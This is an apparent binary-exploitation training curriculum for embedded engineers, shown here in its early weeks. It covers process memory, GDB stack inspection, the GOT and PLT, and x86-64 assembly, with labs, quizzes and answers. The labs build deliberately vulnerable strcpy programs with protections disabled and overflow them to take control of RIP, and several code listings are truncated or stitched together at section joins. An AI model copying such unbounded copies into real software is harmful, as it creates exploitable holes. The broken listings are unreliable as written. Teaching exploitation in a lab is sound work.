Share
## https://sploitus.com/exploit?id=6A6992EB-F3F2-5456-8034-64C5B5300D91
\# 30-Week Binary Exploitation \& CVE Analysis Program for Embedded Engineers



---



\## 🎯 How to Use This Program



\*\*Welcome, embedded engineer!\*\* You're about to learn offensive security and binary exploitation from absolute zero. Here's what you need to know:



\### Setting Up Your Environment



You'll need a \*\*Linux environment\*\* for all exploitation work. Choose one:



\*\*Option A: VirtualBox VM (Recommended)\*\*

```bash

\# 1. Download Ubuntu 22.04 LTS Desktop ISO from ubuntu.com

\# 2. Install VirtualBox from virtualbox.org

\# 3. Create VM: 4GB RAM minimum, 100GB dynamic disk, enable 3D acceleration

\# 4. Install Ubuntu, then run:

sudo apt update \&\& sudo apt upgrade -y

sudo apt install build-essential git curl wget vim -y

```



\*\*Option B: WSL2 on Windows\*\*

```bash

\# In PowerShell as Administrator:

wsl --install -d Ubuntu-22.04

\# Restart, then open Ubuntu terminal and run the apt commands above

```



\*\*Snapshot Strategy:\*\* Take a VM snapshot after each week's work. If you break something (you will!), roll back instead of reinstalling.



\### Your Weekly Study Schedule



\*\*6-8 hours/week breaks down like this:\*\*

\- \*\*Days 1-3 (Mon-Wed):\*\* Theory and reading (~45-60 min/day) – Best in the morning with coffee

\- \*\*Days 4-5 (Thu-Fri):\*\* Hands-on lab work (~60-90 min/day) – Needs focus, block distractions

\- \*\*Day 6 (Sat):\*\* Complete lab, start GitHub writeup (~90-120 min)

\- \*\*Day 7 (Sun):\*\* Review quiz, polish deliverables, prepare next week (~30-45 min)



\*\*Struggling with time?\*\* Cut the Stretch Paths first. Master the core material.



\### GitHub Workflow for Tracking Progress



Create a learning journal repository:

```bash

\# Do this RIGHT NOW:

mkdir ~/exploitation-journey \&\& cd ~/exploitation-journey

git init

echo "# My 30-Week Exploitation Learning Journey" > README.md

mkdir -p week-{01..30}/{exploits,notes,screenshots}

git add . \&\& git commit -m "Initialize 30-week program"

\# Create GitHub repo and push (don't make it public until you understand responsible disclosure!)

```



\*\*Track everything:\*\* Your failed attempts teach more than your successes. Commit often.



\### When You Get Stuck (You Will – That's Normal!)



1\. \*\*Read the error message\*\* – Exploits fail 100 times before working. This is normal.

2\. \*\*Check your VM snapshot\*\* – "Did this work yesterday?" Restore and try again.

3\. \*\*Ask for help:\*\*

   - \*\*LiveOverflow Discord:\*\* https://discord.gg/liveoverflow

   - \*\*Pwn.college Discord:\*\* Search "pwn.college discord" (invite on their website)

   - \*\*r/ExploitDev on Reddit:\*\* Great for beginner questions

   - \*\*Nightmare course Slack:\*\* Search "guyinatuxedo nightmare slack"



\*\*Remember:\*\* Every exploit developer breaks things constantly. Frustration = learning.



---



\## πŸ’ͺ A Message Before You Start



\*\*You feel behind, right?\*\* Every embedded engineer learning security feels this way. You see "CTF pros" and think you're too late. \*\*Stop.\*\*



You have a \*\*massive advantage\*\* other security learners don't:

\- You understand \*\*C deeply\*\* (most security folks learned Python first and struggle with pointers)

\- You know \*\*how hardware actually works\*\* (ARM datasheets don't scare you)

\- You've \*\*debugged race conditions\*\* on real hardware (debugging exploits will feel familiar)



\*\*Security people are learning YOUR skills in reverse.\*\* You're not behind. You're approaching from a different angle.



This program assumes \*\*ZERO security knowledge\*\* but respects your embedded expertise. When you see "remember how stack frames work in C?"β€”that's me leveraging what you already know.



\*\*Imposter syndrome check-in:\*\* Weeks 1, 8, 15, 22, and 29. I'll remind you how far you've come.



---



\## πŸ“š Program Philosophy



\*\*Core Focus (70% of program):\*\* Binary exploitation techniques for embedded systems

\- Stack/heap memory corruption

\- Exploit development and weaponization

\- ARM and MIPS exploitation (what you'll see in real IoT devices)

\- Reverse engineering for vulnerability discovery

\- Real CVE analysis with exploit recreation



\*\*What This Is NOT:\*\*

\- A web hacking course (we'll ignore XSS, SQLi, etc.)

\- A hardware hacking course (no side-channel attacks or fault injection)

\- A certification prep course (but skills transfer to OSCP/OSED)



\*\*Pacing Expectation:\*\* Weeks 13-18 (advanced exploitation) are HARD. You might need 2 calendar weeks for 1 program week. That's fine. Slow is smooth, smooth is fast.



---



\## πŸ—“οΈ The 30-Week Journey



Each week follows this \*\*exact structure\*\*:

1\. \*\*Weekly Objective\*\* – One sentence, exploitation-focused

2\. \*\*Learning Outcomes\*\* – What you'll be able to DO

3\. \*\*Daily Bite-Sized Plan\*\* – 7 days, 45-90 minutes each

4\. \*\*Hands-On Lab\*\* – Step-by-step exploitation practice

5\. \*\*Tools for the Week\*\* – Exact install commands

6\. \*\*Sources\*\* – Labeled by difficulty (Beginner/Intermediate/Advanced/Reference)

7\. \*\*Weekly Quiz\*\* – 5 questions with detailed answers

8\. \*\*GitHub Deliverables\*\* – Exploit code, writeups, screenshots



\*\*Checkpoints every 5 weeks:\*\* Practical exploitation challenges with pass/fail criteria (70+ to continue).



---



\# PHASE 1: SECURITY \& EXPLOITATION FOUNDATIONS (Weeks 1-5)



---



\## πŸ“… Week 1: Why Exploits Work – Memory, Trust, and Privilege Boundaries



\### Weekly Objective

Understand the fundamental reason software exploitation is possible: computers trust data as instructions, and memory is just bytes.



\### What You'll Be Able to Do by Week's End

1\. Explain in plain English why a buffer overflow can lead to code execution

2\. Draw a diagram of Linux process memory layout (stack, heap, code, data)

3\. Identify the difference between a bug and a vulnerability

4\. Recognize when a program violates memory safety

5\. Describe what "arbitrary code execution" means and why it matters

6\. Understand privilege boundaries (user vs. root, kernel vs. userspace)



\### This Week's Three Most Important Points

1\. \*\*Exploits work because computers can't tell the difference between data and instructions\*\* – both are just bytes in memory

2\. \*\*Memory safety violations let attackers control program flow\*\* – if you can write outside a buffer, you can redirect execution

3\. \*\*Privilege boundaries are the target\*\* – exploits aim to cross from low-privilege to high-privilege contexts



---



\### Daily Bite-Sized Plan (7 Days, 45-60 min/day)



\*\*Day 1 (45 min):\*\* Read "Smashing the Stack for Fun and Profit" first 3 pages only. Don't worry about understanding everything. Just get the vibe: "data can become instructions."



\*\*Day 2 (60 min):\*\* Watch LiveOverflow's "How a Buffer Overflow Saved Gaming" video (15 min). Then read: understand process memory layout (stack vs heap vs code sections). Draw it on paper.



\*\*Day 3 (45 min):\*\* Study the difference between bugs (program errors) vs vulnerabilities (exploitable bugs). Read: "Not all bugs are vulns, but all vulns are bugs." Search "Common Weakness Enumeration CWE-119" and read the description.



\*\*Day 4 (60 min):\*\* Hands-on: Write a simple C program with an obvious buffer overflow (copy user input into a 10-byte buffer). Compile it. Don't exploit it yet – just observe the crash with different input sizes.



\*\*Day 5 (90 min):\*\* Introduction to privilege boundaries. Read about Linux users, groups, and sudo. Understand: regular user can't read /etc/shadow, but root can. Exploits aim to "become root."



\*\*Day 6 (60 min):\*\* Lab time: Complete the full lab below (Process Memory Explorer).



\*\*Day 7 (30 min):\*\* Take the weekly quiz. Review your notes. Write a 1-paragraph summary: "Why are memory safety bugs exploitable?"



---



\### Hands-On Lab: Process Memory Explorer



\*\*Objective:\*\* See process memory layout in action using a running program.



\*\*Tools needed:\*\* gcc, gdb, /proc filesystem



\*\*Step-by-step:\*\*



```bash

\# Step 1: Create a simple C program

cat > memory\_demo.c 

\#include 



int global\_var = 42;           // Data segment

int uninitialized\_var;          // BSS segment



void function\_call() {

    int stack\_var = 100;        // Stack

    printf("Stack variable address: %p\\n", (void\*)\&stack\_var);

}



int main() {

    int local\_var = 10;         // Stack

    int \*heap\_var = malloc(sizeof(int)); // Heap

    \*heap\_var = 20;

    

    printf("=== Memory Layout Demo ===\\n");

    printf("Code (main function): %p\\n", (void\*)main);

    printf("Global variable: %p\\n", (void\*)\&global\_var);

    printf("Heap variable: %p\\n", (void\*)heap\_var);

    printf("Stack variable: %p\\n", (void\*)\&local\_var);

    printf("Library function: %p\\n", (void\*)printf);

    

    function\_call();

    

    printf("\\nPress Enter to see detailed memory maps...\\n");

    getchar();

    

    // This will let you inspect /proc/self/maps

    char cmd\[256];

    sprintf(cmd, "cat /proc/%d/maps", getpid());

    system(cmd);

    

    free(heap\_var);

    return 0;

}

EOF



\# Step 2: Compile WITHOUT security protections (we'll learn about these later)

gcc -o memory\_demo memory\_demo.c -no-pie -fno-stack-protector



\# Step 3: Run it

./memory\_demo

\# Press Enter when prompted



\# Step 4: Observe the output

\# You should see addresses increasing: Code  stack\_trace.c 



void level3() {

    int var3 = 333;

    printf("Level 3: var3 is at %p\\n", (void\*)\&var3);

    printf("Pausing at level 3...\\n");

    // We'll break here to inspect the stack

}



void level2() {

    int var2 = 222;

    printf("Level 2: var2 is at %p\\n", (void\*)\&var2);

    level3();

}



void level1() {

    int var1 = 111;

    printf("Level 1: var1 is at %p\\n", (void\*)\&var1);

    level2();

}



int main() {

    printf("=== Stack Frame Tracing ===\\n");

    printf("Main's stack pointer (RSP): %p\\n", (void\*)\_\_builtin\_frame\_address(0));

    level1();

    return 0;

}

EOF



\# Step 2: Compile with debugging symbols, no optimizations

gcc -o stack\_trace stack\_trace.c -g -O0 -fno-stack-protector



\# Step 3: Run in GDB

gdb ./stack\_trace

```



\*\*Inside GDB, run these commands:\*\*

```gdb

(gdb) break level3

(gdb) run



\# When it breaks at level3:

(gdb) backtrace     # Shows call stack: main -> level1 -> level2 -> level3

(gdb) info frame    # Details about current frame

(gdb) info registers rbp rsp    # Stack and base pointers



\# Examine the stack memory:

(gdb) x/20gx $rsp   # Show 20 8-byte values starting at stack pointer

\# You'll see return addresses (they look like code addresses around 0x555...)



\# Navigate frames:

(gdb) frame 0       # level3

(gdb) info locals   # var3 = 333

(gdb) frame 1       # level2

(gdb) info locals   # var2 = 222

(gdb) frame 2       # level1

(gdb) info locals   # var1 = 111



\# See saved return address:

(gdb) frame 0

(gdb) x/gx $rbp+8   # The return address is 8 bytes above RBP

```



\*\*What you're seeing:\*\*

\- \*\*Backtrace:\*\* The call chain (like a breadcrumb trail of function calls)

\- \*\*Return addresses:\*\* Each function call pushes the "come back here" address onto the stack

\- \*\*Local variables:\*\* Allocated in each function's stack frame



\*\*Critical insight:\*\* If you can OVERWRITE the return address at `$rbp+8`, you can redirect execution when the function returns. That's the exploit primitive for stack buffer overflows.



\*\*Deliverable:\*\* Take screenshots of:

1\. The `backtrace` output

2\. The `x/20gx $rsp` output (stack dump)

3\. The return address at `$rbp+8`



Save to `week-02/screenshots/stack\_frames.png`



---



\### Hands-On Lab 2: GOT/PLT Exploration



\*\*Objective:\*\* See dynamic linking in action by inspecting the GOT and PLT.



```bash

\# Step 1: Create a program that calls library functions

cat > dynamic\_demo.c 

\#include 



int main() {

    printf("Calling printf...\\n");

    puts("Calling puts...");

    malloc(16);  // Call malloc

    return 0;

}

EOF



\# Step 2: Compile normally (dynamic linking is default)

gcc -o dynamic\_demo dynamic\_demo.c



\# Step 3: Check dynamic dependencies

ldd ./dynamic\_demo

\# You'll see libc.so.6 – this is the C library



\# Step 4: Examine PLT (Procedure Linkage Table)

objdump -d dynamic\_demo | grep '@plt' | head -10

\# You'll see entries like:

\#   printf@plt

\#   puts@plt

\#   malloc@plt



\# Step 5: Examine GOT (Global Offset Table)

objdump -R dynamic\_demo | grep 'printf\\|puts\\|malloc'

\# Shows GOT addresses where function pointers will be stored



\# Step 6: See dynamic linking in action with GDB

gdb ./dynamic\_demo

(gdb) break main

(gdb) run



\# Before calling printf, check its GOT entry:

(gdb) x/gx 0x\[ADDRESS\_FROM\_OBJDUMP\_STEP5]

\# It points to a stub (PLT resolver)



(gdb) next  # Step until after printf call

\# Now check the GOT entry again:

(gdb) x/gx 0x\[SAME\_ADDRESS]

\# Now it points to the REAL printf in libc!

```



\*\*What's happening (plain English):\*\*

1\. Your program calls `printf@plt` (a trampoline)

2\. PLT jumps to the address stored in GOT

3\. \*\*First call:\*\* GOT contains a resolver address (dynamic linker)

4\. Dynamic linker finds real `printf` in libc and updates GOT

5\. \*\*Subsequent calls:\*\* GOT now contains the real printf address – fast!



\*\*Why attackers care:\*\* If you can OVERWRITE a GOT entry, you can redirect any library function call to your shellcode. We'll do this in Week 11.



\*\*Memory aid:\*\* "\*\*G\*\*OT is a \*\*Table\*\*, \*\*P\*\*LT is a \*\*Trampoline\*\*" (Table/Trampoline)



\*\*Deliverable:\*\* Create `week-02/notes/got\_plt\_explained.md`:

```markdown

\# GOT and PLT in My Own Words



\## What is GOT?

\[Explain in 2-3 sentences]



\## What is PLT?

\[Explain in 2-3 sentences]



\## Why does dynamic linking work this way?

\[Your understanding of the performance optimization]



\## How might an attacker abuse this?

\[Your hypothesis – we'll learn the real technique later]

```



---



\### Tools for the Week



| Tool | Purpose | Installation |

|------|---------|--------------|

| \*\*objdump\*\* | Disassemble and inspect binaries | `sudo apt install binutils` (usually pre-installed) |

| \*\*ldd\*\* | Show dynamic library dependencies | (pre-installed) |

| \*\*readelf\*\* | Read ELF file headers | `sudo apt install binutils` |



\*\*New GDB commands learned:\*\*

\- `backtrace` (or `bt`): Show call stack

\- `info frame`: Details about current stack frame

\- `info registers`: Show CPU registers

\- `x/gx \[address]`: Examine memory (g=8 bytes, x=hex)



---



\### Sources for the Week



1\. \*\*(Beginner Video) LiveOverflow: "Analyzing Stack Frames"\*\*

   - YouTube search: "LiveOverflow bin 0x05"

   - Watch with GDB open, follow along



2\. \*\*(Intermediate) "Understanding the Stack" – Azeria Labs\*\*

   - Search: "azeria labs stack"

   - Written for ARM but concepts identical

   - Bookmark Azeria Labs – we'll use it heavily for ARM exploitation



3\. \*\*(Beginner) "How the GOT and PLT Work"\*\*

   - Search: "systemoverlord GOT and PLT"

   - Excellent diagrams and step-by-step explanation



4\. \*\*(Reference) x86-64 Calling Convention\*\*

   - Search: "x86-64 ABI function call convention"

   - Official System V AMD64 ABI docs

   - Just skim – you'll internalize this through practice



5\. \*\*(Intermediate) "Understanding glibc malloc"\*\*

   - Search: "sploitfun glibc malloc"

   - We're not exploiting heap yet, but good to see how malloc works

   - Read Part 1 only this week



---



\### Weekly Quiz (5 Questions)



\*\*Question 1:\*\* During a function call, what happens to the return address?



\*\*A)\*\* It's stored in a CPU register permanently  

\*\*B)\*\* It's pushed onto the stack so the function knows where to return  

\*\*C)\*\* It's stored in the heap  

\*\*D)\*\* The compiler optimizes it away  



\*\*Answer: B\*\*

\*\*Explanation:\*\* When `call func` executes, the CPU pushes the address of the NEXT instruction onto the stack, then jumps to `func`. When `func` finishes and executes `ret`, it pops that return address into RIP (instruction pointer). This is the saved return address that we'll overwrite in buffer overflow exploits. \*\*Embedded analogy:\*\* Like pushing a return address onto a hardware call stack in a microcontroller – same mechanism.



---



\*\*Question 2:\*\* On x86-64, where is the saved return address relative to the current stack frame's base pointer (RBP)?



\*\*A)\*\* At RBP  

\*\*B)\*\* At RBP - 8  

\*\*C)\*\* At RBP + 8  

\*\*D)\*\* Return addresses aren't near RBP  



\*\*Answer: C\*\*

\*\*Explanation:\*\* The typical stack frame layout (at function entry):

```

\[Higher addresses]

RBP + 16: Previous frame's saved RBP

RBP + 8:  Saved return address  ← THIS IS THE TARGET

RBP:      Saved RBP (frame pointer)

RBP - 8:  Local variable 1

RBP - 16: Local variable 2

\[Lower addresses]

```

This is why `x/gx $rbp+8` shows the return address in GDB. In Week 7, we'll overwrite this exact location.



---



\*\*Question 3:\*\* What is the purpose of the Global Offset Table (GOT)?



\*\*A)\*\* To store global variables  

\*\*B)\*\* To store resolved addresses of library functions for dynamic linking  

\*\*C)\*\* To store stack canaries  

\*\*D)\*\* To encrypt function pointers  



\*\*Answer: B\*\*

\*\*Explanation:\*\* The GOT is a table of function pointers that gets filled in by the dynamic linker (ld.so) at runtime. When your program calls `printf()`, it actually calls `printf@plt`, which jumps to `\*GOT\[printf]`. The first call triggers the resolver to find printf in libc and write its address into GOT\[printf]. Subsequent calls go directly to libc. \*\*Attack vector:\*\* If you can write to the GOT, you redirect function calls.



---



\*\*Question 4:\*\* Why does dynamic linking use lazy binding (resolving function addresses on first call, not at program start)?



\*\*A)\*\* It's more secure  

\*\*B)\*\* It improves startup time – only resolve functions that actually get called  

\*\*C)\*\* It's required by the C standard  

\*\*D)\*\* It makes exploitation harder  



\*\*Answer: B\*\*

\*\*Explanation:\*\* Imagine a program links against libc (1000+ functions) but only calls 10 of them. Resolving all 1000 at startup wastes time. Lazy binding defers resolution: "I'll find printf when you first call it, not before." This is a performance optimization. \*\*Side effect:\*\* It creates a window for exploitation (GOT hasn't been finalized yet), which we'll use in advanced attacks.



---



\*\*Question 5:\*\* In your stack tracing lab, you saw the backtrace showed: `main -> level1 -> level2 -> level3`. If level2 has a buffer overflow that overwrites its return address, what happens when level2 returns?



\*\*A)\*\* The program crashes randomly  

\*\*B)\*\* Execution jumps to the attacker-controlled address instead of returning to level1  

\*\*C)\*\* The overflow is caught by the operating system  

\*\*D)\*\* Nothing, the stack protects against this  



\*\*Answer: B\*\*

\*\*Explanation:\*\* If level2's return address gets overwritten (e.g., by a `strcpy()` buffer overflow), when level2 executes `ret`, it pops the corrupted value into RIP. Instead of returning to level1, the CPU jumps to wherever the attacker wrote. If the attacker wrote the address of their shellcode, \*\*boom\*\* – arbitrary code execution. This is the core primitive of stack smashing. (Modern defenses like stack canaries try to detect this, but we'll bypass them later.)



---



\### GitHub Deliverables for Week 2



1\. \*\*`notes/got\_plt\_explained.md`\*\* – Your explanation of GOT/PLT

2\. \*\*`notes/stack\_frame\_cheatsheet.md`\*\* – Visual diagram of stack layout with annotations

3\. \*\*`screenshots/stack\_frames.png`\*\* – GDB backtrace and stack dump

4\. \*\*`screenshots/got\_plt\_objdump.png`\*\* – Objdump output showing PLT and GOT

5\. \*\*`quiz/week2\_quiz\_answers.md`\*\* – Quiz answers with your reasoning



```bash

cd ~/exploitation-journey/week-02/

git add .

git commit -m "Week 2 complete: Deep dive into process memory"

```



---



\### This Week's Three Most Important Points (Repetition)

1\. \*\*Return addresses on the stack control program flow\*\* – overwrite them to hijack execution

2\. \*\*Stack grows down, contains function context\*\* (return addresses, saved registers, locals)

3\. \*\*GOT/PLT enable dynamic linking\*\* – and provide advanced exploitation targets



---



\### Encouragement Check-In



\*\*Week 2 done!\*\* This was a DENSE week. You just learned what takes most CS students an entire semester (and they still don't understand it as deeply as you do now).



\*\*Embedded engineers' advantage:\*\* You've probably already dealt with stack overflows in embedded systems (stack corruption in an RTOS task?). Now you know how to WEAPONIZE that knowledge.



\*\*Feeling overwhelmed by GDB?\*\* Normal. You'll become fluent through repetition. By Week 10, you'll be using GDB commands without thinking.



\*\*What clicked for you this week?\*\* For most people, it's the moment they see the return address in GDB and think "wait, I could just CHANGE that byte..." Yes. You could. That's Week 7.



\*\*Next week:\*\* Assembly crash course. If you already know assembly from embedded work (ARM for microcontrollers?), Week 3 will be a breeze. If not, it'll be challenging but manageable.



---



\## πŸ“… Week 3: Assembly Crash Course – Reading Disassembly (x86-64 Focus)



\### Weekly Objective

Become comfortable reading x86-64 assembly code (not writing it from scratch) so you can understand disassembled binaries during exploitation.



\### What You'll Be Able to Do by Week's End

1\. Read basic x86-64 assembly and trace execution flow

2\. Identify function prologue and epilogue patterns (`push rbp; mov rbp, rsp` / `leave; ret`)

3\. Recognize common instructions: `mov`, `push`, `pop`, `call`, `ret`, `jmp`, `cmp`, `test`

4\. Convert between Intel and AT\&T syntax (GDB shows AT\&T by default)

5\. Spot function arguments in registers (RDI, RSI, RDX, RCX, R8, R9)

6\. Understand how stack buffer overflows appear in assembly (`sub rsp, 0x40` = allocate 64-byte buffer)



\### This Week's Three Most Important Points

1\. \*\*You don't need to WRITE assembly – you need to READ it\*\* (disassemblers do the heavy lifting)

2\. \*\*Focus on control flow instructions\*\* (`call`, `ret`, `jmp`, conditional jumps) – these are your exploitation targets

3\. \*\*Registers are temporary storage\*\* – RDI is first function arg, RAX is return value, RSP is stack pointer



---



\### Daily Bite-Sized Plan (7 Days, 45-90 min/day)



\*\*Day 1 (60 min):\*\* Read an x86-64 assembly primer. Search "x86-64 assembly primer brown university" (excellent CS:APP-based resource). Focus on: registers, basic instructions, stack operations.



\*\*Day 2 (60 min):\*\* Watch Computerphile's "Assembly Language in 100 Seconds" (quick), then "Assembly Language Programming Tutorial" (longer). Pause and take notes on instruction categories.



\*\*Day 3 (45 min):\*\* Practice reading disassembly in GDB. Use the program from Week 2 (`stack\_trace`). Run `disassemble main` and annotate what each instruction does. Don't worry about every detail – focus on structure.



\*\*Day 4 (90 min):\*\* Lab time: Disassembly Reading Practice (see below). This will cement your understanding.



\*\*Day 5 (60 min):\*\* Learn Intel vs AT\&T syntax differences. Configure GDB to use Intel syntax (cleaner for beginners): `echo "set disassembly-flavor intel" >> ~/.gdbinit`. Re-run Day 3's disassembly – notice the difference.



\*\*Day 6 (60 min):\*\* Lab time: Tracing a Buffer Overflow in Assembly (see below). You'll SEE an overflow at the assembly level.



\*\*Day 7 (45 min):\*\* Quiz, review. Create a cheat sheet: "Top 20 x86-64 instructions I need to recognize."



---



\### Hands-On Lab 1: Disassembly Reading Practice



\*\*Objective:\*\* Read disassembled code and understand what a simple C function does.



```bash

\# Step 1: Create a simple function

cat > asm\_practice.c 



int add\_numbers(int a, int b) {

    return a + b;

}



int main() {

    int result = add\_numbers(5, 10);

    printf("Result: %d\\n", result);

    return 0;

}

EOF



\# Step 2: Compile

gcc -o asm\_practice asm\_practice.c -O0 -g



\# Step 3: Set GDB to Intel syntax (cleaner)

echo "set disassembly-flavor intel" >> ~/.gdbinit



\# Step 4: Disassemble in GDB

gdb ./asm\_practice

(gdb) disassemble add\_numbers

```



\*\*You'll see something like:\*\*

```asm

Dump of assembler code for function add\_numbers:

   0x555555555149 :     push   rbp          ; Save old frame pointer

   0x55555555514a :     mov    rbp,rsp      ; Set up new frame

   0x55555555514d :     mov    DWORD PTR \[rbp-0x4],edi   ; Store arg1 (a) on stack

   0x555555555150 :     mov    DWORD PTR \[rbp-0x8],esi   ; Store arg2 (b) on stack

   0x555555555153 :    mov    edx,DWORD PTR \[rbp-0x4]   ; Load a into edx

   0x555555555156 :    mov    eax,DWORD PTR \[rbp-0x8]   ; Load b into eax

   0x555555555159 :    add    eax,edx                   ; eax = a + b

   0x55555555515b :    pop    rbp                       ; Restore old frame

   0x55555555515c :    ret                              ; Return (eax contains result)

End of assembler dump.

```



\*\*Your task:\*\* Annotate each instruction. Example:

```

push rbp        β†’ Save the caller's frame pointer (setup)

mov rbp, rsp    β†’ Create new frame (rbp = current stack top)

mov \[rbp-4], edi β†’ Store first argument (5) on stack

...

add eax, edx    β†’ THIS IS THE ACTUAL ADDITION

ret             β†’ Return to caller (result is in eax)

```



\*\*Key patterns to recognize:\*\*

1\. \*\*Function prologue:\*\* `push rbp; mov rbp, rsp` (every function starts like this)

2\. \*\*Function epilogue:\*\* `pop rbp; ret` or `leave; ret` (every function ends like this)

3\. \*\*Argument passing:\*\* First 6 args in RDI, RSI, RDX, RCX, R8, R9 (you see `edi` and `esi` here – 32-bit versions)



\*\*Deliverable:\*\* Create `week-03/notes/disassembly\_annotations.md` with your annotated assembly and a summary: "What patterns did I notice?"



---



\### Hands-On Lab 2: Tracing a Buffer Overflow in Assembly



\*\*Objective:\*\* SEE a buffer overflow at the assembly level – watch memory get corrupted.



```bash

\# Step 1: Create a vulnerable program (intentionally simple)

cat > overflow\_asm.c 

\#include 



void vulnerable\_function(char \*input) {

    char buffer\[16];  // Small buffer

    strcpy(buffer, input);  // DANGEROUS: no bounds check

    printf("Buffer contents: %s\\n", buffer);

}



int main(int argc, char \*argv\[]) {

    if (argc \\n", argv\[0]);

        return 1;

    }

    vulnerable\_function(argv\[1]);

    return 0;

}

EOF



\# Step 2: Compile WITHOUT protections (stack canary, NX, PIE)

gcc -o overflow\_asm overflow\_asm.c -fno-stack-protector -z execstack -no-pie -O0 -g



\# Step 3: Test normal operation

./overflow\_asm "Hello"

\# Output: Buffer contents: Hello



\# Step 4: Disassemble vulnerable\_function in GDB

gdb ./overflow\_asm

(gdb) disassemble vulnerable\_function

```



\*\*Look for this pattern in the disassembly:\*\*

```asm

sub    rsp, 0x20        ; Allocate space on stack (32 bytes)

; ... somewhere in here is your 16-byte buffer ...

call   strcpy@plt       ; The dangerous copy

```



\*\*Now trace with breakpoints:\*\*

```gdb

(gdb) break vulnerable\_function

(gdb) run AAAAAAAAAAAAAAAA    # 16 A's (fits exactly)



\# When it breaks:

(gdb) x/32bx $rsp      # Examine 32 bytes of stack (before strcpy)

(gdb) next             # Step until after strcpy call

(gdb) x/32bx $rsp      # Examine again (after strcpy)

\# You'll see the A's (0x41) in the buffer



\# Now overflow:

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAA    # 28 A's (overflows!)

(gdb) x/32bx $rsp      # See A's spill beyond the buffer

(gdb) continue

\# Program crashes with "Segmentation fault"



\# Check WHY it crashed:

(gdb) info registers rip

\# RIP contains 0x4141414141414141 (your A's!)

```



\*\*What happened:\*\*

1\. `buffer\[16]` sits on the stack

2\. `strcpy()` copies 28 bytes into a 16-byte space

3\. Extra 12 bytes overwrite adjacent memory – \*\*including the saved return address\*\*

4\. When `vulnerable\_function` executes `ret`, it pops `0x4141414141414141` into RIP

5\. CPU tries to jump to address `0x4141414141414141` – \*\*crash\*\*



\*\*Critical insight:\*\* You just CONTROLLED the instruction pointer. If instead of A's, you wrote the address of attacker code, you'd have arbitrary code execution. That's the exploit we'll build in Week 7.



\*\*Deliverable:\*\* Screenshot the GDB session showing:

1\. Stack before overflow

2\. Stack after overflow (with A's visible)

3\. RIP register containing 0x4141...



Save to `week-03/screenshots/overflow\_in\_assembly.png`



---



\### Tools for the Week



| Tool | Purpose | Installation |

|------|---------|--------------|

| \*\*objdump\*\* | Disassemble binaries | (already installed) |

| \*\*GDB with Intel syntax\*\* | Easier-to-read disassembly | `echo "set disassembly-flavor intel" >> ~/.gdbinit` |

| \*\*radare2\*\* | Alternative disassembler/debugger | `sudo apt install radare2` (optional this week) |



\*\*GDB commands for assembly:\*\*

\- `disassemble \[function]`: Show assembly code

\- `disassemble /r \[function]`: Show with raw bytes

\- `layout asm`: Split-screen with assembly (TUI mode)

\- `stepi` (or `si`): Step one assembly instruction

\- `nexti` (or `ni`): Step one instruction, skip function calls



---



\### Sources for the Week



1\. \*\*(Beginner) "x86-64 Assembly Guide" – Brown University CS:APP\*\*

   - Search: "brown university x86-64 assembly guide"

   - Read sections 1-3 (Introduction, Data Types, Instructions)

   - Skip floating point and advanced topics for now



2\. \*\*(Beginner Video) "Assembly Language Programming Tutorial"\*\*

   - YouTube search: "Derek Banas assembly"

   - Watch at 1.25x speed, take notes on instruction types



3\. \*\*(Intermediate) "Practical x86-64 for Exploit Development"\*\*

   - Search: "Practical x86-64 Corelan"

   - Focus on Part 1 (registers, stack)

   - We'll return to this site for exploit development in Week 7



4\. \*\*(Reference) Intel x86-64 Instruction Set Reference\*\*

   - Search: "intel x86 instruction set reference"

   - Bookmark this – when you see an unfamiliar instruction, look it up here

   - You don't need to read it cover-to-cover (it's 5000 pages!)



5\. \*\*(Beginner) "Intel vs AT\&T Assembly Syntax"\*\*

   - Search: "intel att syntax differences"

   - Quick comparison chart – know the differences



---



\### Weekly Quiz (5 Questions)



\*\*Question 1:\*\* What is the purpose of the `call` instruction in x86-64?



\*\*A)\*\* It allocates stack space  

\*\*B)\*\* It pushes the return address onto the stack and jumps to a function  

\*\*C)\*\* It pops a value from the stack  

\*\*D)\*\* It performs arithmetic  



\*\*Answer: B\*\*

\*\*Explanation:\*\* `call target` does two things: (1) push the address of the NEXT instruction onto the stack (the return address), (2) jump to `target`. This is how function calls work at the CPU level. The `ret` instruction reverses this: pop the return address into RIP. \*\*From embedded background:\*\* Similar to how a BL (Branch with Link) works in ARM – saves return address and branches.



---



\*\*Question 2:\*\* In x86-64 calling convention, which register holds the first integer argument to a function?



\*\*A)\*\* RAX  

\*\*B)\*\* RDI  

\*\*C)\*\* RSP  

\*\*D)\*\* RBP  



\*\*Answer: B\*\*

\*\*Explanation:\*\* The System V AMD64 ABI calling convention uses: RDI (1st arg), RSI (2nd), RDX (3rd), RCX (4th), R8 (5th), R9 (6th). Additional arguments go on the stack. RAX holds the return value. \*\*Mnemonic:\*\* "\*\*D\*\*on't \*\*S\*\*end \*\*D\*\*ogs \*\*C\*\*hasing 8 9" (DI, SI, DX, CX, 8, 9). In your assembly practice, `edi` (32-bit version) held the first argument (5).



---



\*\*Question 3:\*\* What does the instruction `sub rsp, 0x40` accomplish?



\*\*A)\*\* Subtracts 64 from the RSP register  

\*\*B)\*\* Deallocates stack space  

\*\*C)\*\* Allocates 64 bytes of stack space for local variables  

\*\*D)\*\* Pops 64 bytes from the stack  



\*\*Answer: C\*\*

\*\*Explanation:\*\* Remember, the stack grows DOWNWARD (toward lower addresses). Subtracting from RSP moves the stack pointer down, effectively "allocating" space. `sub rsp, 0x40` makes room for local variables (0x40 = 64 decimal). When you see this in a function prologue, it tells you how much stack space is reserved. In the overflow lab, this space included the 16-byte buffer.



---



\*\*Question 4:\*\* What does the `ret` instruction do?



\*\*A)\*\* Returns a value in RAX  

\*\*B)\*\* Pops the top of the stack into RIP (instruction pointer) and jumps there  

\*\*C)\*\* Returns to the operating system  

\*\*D)\*\* Resets all registers  



\*\*Answer: B\*\*

\*\*Explanation:\*\* `ret` is shorthand for `pop rip`. It pops the saved return address from the stack into the instruction pointer, causing execution to jump back to the caller. In a buffer overflow, we OVERWRITE the return address on the stack, so when `ret` executes, it jumps to our controlled address instead. This is the fundamental exploit primitive.



---



\*\*Question 5:\*\* In the overflow\_asm lab, why did the program crash with "Segmentation fault" when you overflow the buffer with A's?



\*\*A)\*\* strcpy detected the overflow  

\*\*B)\*\* The operating system detected suspicious behavior  

\*\*C)\*\* The return address was overwritten with 0x4141414141414141 (invalid memory)  

\*\*D)\*\* The buffer was too small  



\*\*Answer: C\*\*

